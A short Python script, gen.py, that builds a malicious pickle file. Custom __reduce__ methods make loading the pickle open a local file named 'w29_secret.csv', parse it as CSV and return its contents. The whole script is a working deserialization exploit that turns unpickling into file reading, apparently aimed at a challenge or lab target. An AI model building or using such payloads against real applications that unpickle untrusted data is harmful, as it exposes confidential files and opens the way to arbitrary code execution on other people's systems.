gen.py

import pickle, io, pathlib
OUT = pathlib.Path(__file__).with_name("csv_reader.pkl")
PATH = r"C:\Users\uozer\AppData\Local\Temp\opencode\w29_secret.csv"
class Open:
    def __reduce__(self):
        return (io.open, (PATH, "r"))
class Reader:
    def __reduce__(self):
        import csv
        return (csv.reader, (Open(),))
class E:
    def __reduce__(self):
        return (list, (Reader(),))
OUT.write_bytes(pickle.dumps(E(), protocol=4))
print("wrote", OUT, OUT.stat().st_size)